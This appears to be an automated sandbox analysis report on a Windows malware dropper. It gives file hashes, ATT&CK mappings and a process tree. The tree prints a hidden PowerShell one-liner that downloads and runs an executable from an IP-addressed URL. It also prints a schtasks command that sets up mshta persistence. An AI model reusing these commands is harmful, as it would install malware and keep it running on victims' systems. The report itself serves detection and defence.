f1c3f0ad49ff3fb5241d62695254f26a734123153946fa012283ad0993665e63

General

Target

f1c3f0ad49ff3fb5241d62695254f26a734123153946fa012283ad0993665e63.exe
Size

938KB
MD5

6bf55c81166c49ca51a9f3224fe8a8f3
SHA1

efd7bf8fe47a45f024bec4542e087d3c6361bb06
SHA256

f1c3f0ad49ff3fb5241d62695254f26a734123153946fa012283ad0993665e63
SHA512

cc056102f57ab916b57dff8cfffa87684e3dfc20d695d6730e044dffa36c2a63f6864b5e5196d2cab8067f9b6b152f537f6b82dbaf23582e580d393c98b7b876
SSDEEP

24576:OqDEvCTbMWu7rQYlBQcBiT6rprG8aell:OTvC/MTQYxsWR7ael

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://185.215.113.16/defend/random.exe

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2652	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2652	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
4	2652	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f1c3f0ad49ff3fb5241d62695254f26a734123153946fa012283ad0993665e63.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2992	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2652	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2652	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
1576	f1c3f0ad49ff3fb5241d62695254f26a734123153946fa012283ad0993665e63.exe
1576	f1c3f0ad49ff3fb5241d62695254f26a734123153946fa012283ad0993665e63.exe
1576	f1c3f0ad49ff3fb5241d62695254f26a734123153946fa012283ad0993665e63.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
1576	f1c3f0ad49ff3fb5241d62695254f26a734123153946fa012283ad0993665e63.exe
1576	f1c3f0ad49ff3fb5241d62695254f26a734123153946fa012283ad0993665e63.exe
1576	f1c3f0ad49ff3fb5241d62695254f26a734123153946fa012283ad0993665e63.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1576 wrote to memory of 2132	1576	f1c3f0ad49ff3fb5241d62695254f26a734123153946fa012283ad0993665e63.exe	31
PID 1576 wrote to memory of 2132	1576	f1c3f0ad49ff3fb5241d62695254f26a734123153946fa012283ad0993665e63.exe	31
PID 1576 wrote to memory of 2132	1576	f1c3f0ad49ff3fb5241d62695254f26a734123153946fa012283ad0993665e63.exe	31
PID 1576 wrote to memory of 2132	1576	f1c3f0ad49ff3fb5241d62695254f26a734123153946fa012283ad0993665e63.exe	31
PID 1576 wrote to memory of 2124	1576	f1c3f0ad49ff3fb5241d62695254f26a734123153946fa012283ad0993665e63.exe	32
PID 1576 wrote to memory of 2124	1576	f1c3f0ad49ff3fb5241d62695254f26a734123153946fa012283ad0993665e63.exe	32
PID 1576 wrote to memory of 2124	1576	f1c3f0ad49ff3fb5241d62695254f26a734123153946fa012283ad0993665e63.exe	32
PID 1576 wrote to memory of 2124	1576	f1c3f0ad49ff3fb5241d62695254f26a734123153946fa012283ad0993665e63.exe	32
PID 2132 wrote to memory of 2992	2132	cmd.exe	34
PID 2132 wrote to memory of 2992	2132	cmd.exe	34
PID 2132 wrote to memory of 2992	2132	cmd.exe	34
PID 2132 wrote to memory of 2992	2132	cmd.exe	34
PID 2124 wrote to memory of 2652	2124	mshta.exe	35
PID 2124 wrote to memory of 2652	2124	mshta.exe	35
PID 2124 wrote to memory of 2652	2124	mshta.exe	35
PID 2124 wrote to memory of 2652	2124	mshta.exe	35

C:\Users\Admin\AppData\Local\Temp\f1c3f0ad49ff3fb5241d62695254f26a734123153946fa012283ad0993665e63.exe
"C:\Users\Admin\AppData\Local\Temp\f1c3f0ad49ff3fb5241d62695254f26a734123153946fa012283ad0993665e63.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1576
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn YJmeqmakhKg /tr "mshta C:\Users\Admin\AppData\Local\Temp\Dj1EM06gm.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn YJmeqmakhKg /tr "mshta C:\Users\Admin\AppData\Local\Temp\Dj1EM06gm.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2992
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\Dj1EM06gm.hta
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2124
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'LEXHZJR7WSVWO6YABCHE0GE9R2VNKHTB.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Dj1EM06gm.hta

Filesize
726B

MD5
898a4e76f6fb60e4c9b855a758724666

SHA1
b09de95963c772a5aa5bb4289966b58e4625a751

SHA256
48c69dddff063a35ad9b35937f2be5f01dd5ecc6610f99f9d6719bf9d526057d

SHA512
f70a8f27b620c9eb68d514fe10f933f3d906738c2afb782fe0b5dc636a69a119a1e543c6d63f0a2ae7a7c04239cf758fed1c04b47263206bb0e1ab7d694c0e3d

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads